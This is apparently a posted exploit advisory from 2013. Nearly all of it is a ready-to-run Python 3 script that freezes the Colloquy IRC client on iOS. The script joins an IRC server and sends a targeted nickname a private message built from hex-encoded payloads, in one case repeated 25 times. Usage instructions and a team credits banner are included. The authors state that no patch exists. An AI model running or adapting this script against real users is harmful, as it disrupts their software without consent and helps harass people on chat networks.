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Colloquy 1.3.5 / 1.3.6 Denial Of Service

Colloquy 1.3.5 / 1.3.6 Denial Of Service
Posted Jan 9, 2013
Authored by Aph3x, UberLame, O_O, Apetrick

Exploit for Colloquy versions 1.3.5 and 1.3.6 that triggers a denial of service condition.

tags | exploit, denial of service
MD5 | 9c5a862cdd1ef6371141b5b0ba417699

Colloquy 1.3.5 / 1.3.6 Denial Of Service

Change Mirror Download
#!/usr/bin/python3
###################################################################################
# Wednesday, January 09, 2013
#
#
#
# _ _ .__ .__
# __| || |_| | ____ ____ |__| ____ ____
# \ __ / | _/ __ \ / ___\| |/ _ \ / \
# | || || |_\ ___// /_/ > ( <_> ) | \
# /_ ~~ _\____/\___ >___ /|__|\____/|___| /
# |_||_| \/_____/ \/
# http://www.zempirians.com
#
# 00100011 01101100 01100101 01100111 01101001 01101111 01101110
#
#
#
# -=[ Colloquy - A Mac OS X Internet Chat client. ] =-
#
# [P]roof [o]f [C]oncept, Denial of Service
#
#
#
#
###################################################################################
# # T E A M #
# #######################
#
# UberLame .......> Provided exploit discovery + payloads
# Aph3x .......> Provided main payload attack for this demostration. <3
# O_O .......> Built the concept in Python3
# Apetrick .......> Allowed testing of the exploit against his ipod
# syk .......> Allowed testing of the exploit against his iphone5
#
#
###################################################################################
# SUMMARY #
################
#
# This DOS is designed to freeze the client making it impossible to do anything
# with it. The user will need to manually restart the application in order to
# continue using it.
#
# There are over a few dozen ways to crash the Colloquy client, however, we
# will only be showing 3 various methods. These glitches were suppose to be
# fixed in 'Colloquy' 1.3.5, however, they still exist in the lastest release
# of 1.3.6...
#
################
# VULNERABLE #
################
#
# Colloquy 1.3.5 (5534) - iPhone OS 5.1.1 (ARM) - http://colloquy.mobi
# Colloquy 1.3.6 (5575) - iPhone OS 6.0.2 (ARM) - http://colloquy.mobi
#
################
# PATCH #
################
#
# There is no CVE reported.
#
################
# PATCH #
################
#
# There is no PATCH available.
#
###################################################################################
# # #
# # H O W - T O #
# # #
# #######################
#
# Provide the Target: Server, Port, Nickname and the script will deliver
# the payload...
#
# [!USE/]$ ./<file>.py -t <server> -p <port> -n <nickname>
#
###################################################################################
from argparse import ArgumentParser
from time import sleep
import socket


shellcode = {
# One Shot <3
'one_shot' : [ \
"687474703a2f2f782f2e2425235e26402426402426232424242425232426",
"23242623262340262a232a235e28242923404040245e2340242625232323",
"5e232526282a234026405e242623252623262e2f2e2f2e2e2f2e2e2f2324",
"2e24" ],

# 1.3.5
'1_3_5' : [ \
"687474703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428",
"292c7573657228292c2873656c6563742532302d2d687474703a2f2f6874",
"74703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428292c"
"7573657228292c2873656c6563742532302d2d687474703a2f2f" ],

# 1.3.6 - ( Requires Sending 25 Times )
'1_3_6' : [ \
"687474703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428",
"292c7573657228292c2873656c6563742532302d2d687474703a2f2f6874",
"74703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428292c",
"7573657228292c2873656c6563742532302d2d687474703a2f2f" ],
}

def own( sock, target, sc_key='one_shot' ):
sc = ''.join( shellcode[sc_key] )
targ = ''.join( ''.join( [ hex( ord( ch ) ) for ch in target ] ).split( '0x' ) )

msg = "505249564d534720{}203a{}0d0a".format( targ, sc )

if sc_key not in '1_3_6':
sock.send( bytes.fromhex( msg ) )
else:
try:
for x in range( 1, 26 ):
sock.send( bytes.fromhex( msg ) )
sleep( .64 )
except:
print( 'FAILED!')


def connect( uri, port, target, sc_key ):
sock = socket.socket()
try:
ret = sock.connect_ex(( uri, int( port ) ))
sock.recv(8096)
except:
print( "\t[-] Failed To Connect To {}".format( uri ) )
exit()


sock.send( b"\x4e\x49\x43\x4b\x20\x7a\x65\x6d\x70\x30\x64\x61\x79\x0d\x0a" )
sock.send( b"\x55\x53\x45\x52\x20\x7a\x65\x6d\x70\x30\x64\x61\x79\x20\x48\x45\x48\x45\x20\x48\x45\x48\x45\x20\x3a\x3c\x33\x0d\x0a" )

while True:
host_data = str( sock.recv( 8096 ).strip() )


if ' 396 ' in host_data:
print( '\t[+] Connection Successful Sending Payload To {}'.format( target ) )
own( sock, target, sc_key )
sock.send( b'QUIT\r\n' )
sock.close()
break


try:
msg = host_data.split()
if msg[0].lower() is 'ping':
sock.send( b"PONG {}\r\n".format( msg[1] ) )
continue
except:
pass


print( '\t[!] Payload Sent, Target Should Drop Shortly <3' )



if __name__ == '__main__':
parser = ArgumentParser( description='#legion Colloquy IRC DoS; Requires At Least A Nick To Target' )

parser.add_argument( '-t', '--target', dest='target', default='localhost', help="IRCD Server Uri To Connect On" )
parser.add_argument( '-p', '--port', dest='port', default=6667, help="Port To Connect On" )
parser.add_argument( '-n', '--nick', dest='nick', metavar='NICK', help="Nick To Target" )

parser.add_argument( '-s', '--shellcode', dest='shellcode', default='one_shot',
help='Shell Code To Use, ( one_shot, 1_3_5, 1_3_6 )' )



args = parser.parse_args()

if args.nick is None:
parser.print_help()
exit()

connect( args.target, args.port, args.nick, args.shellcode.strip() )

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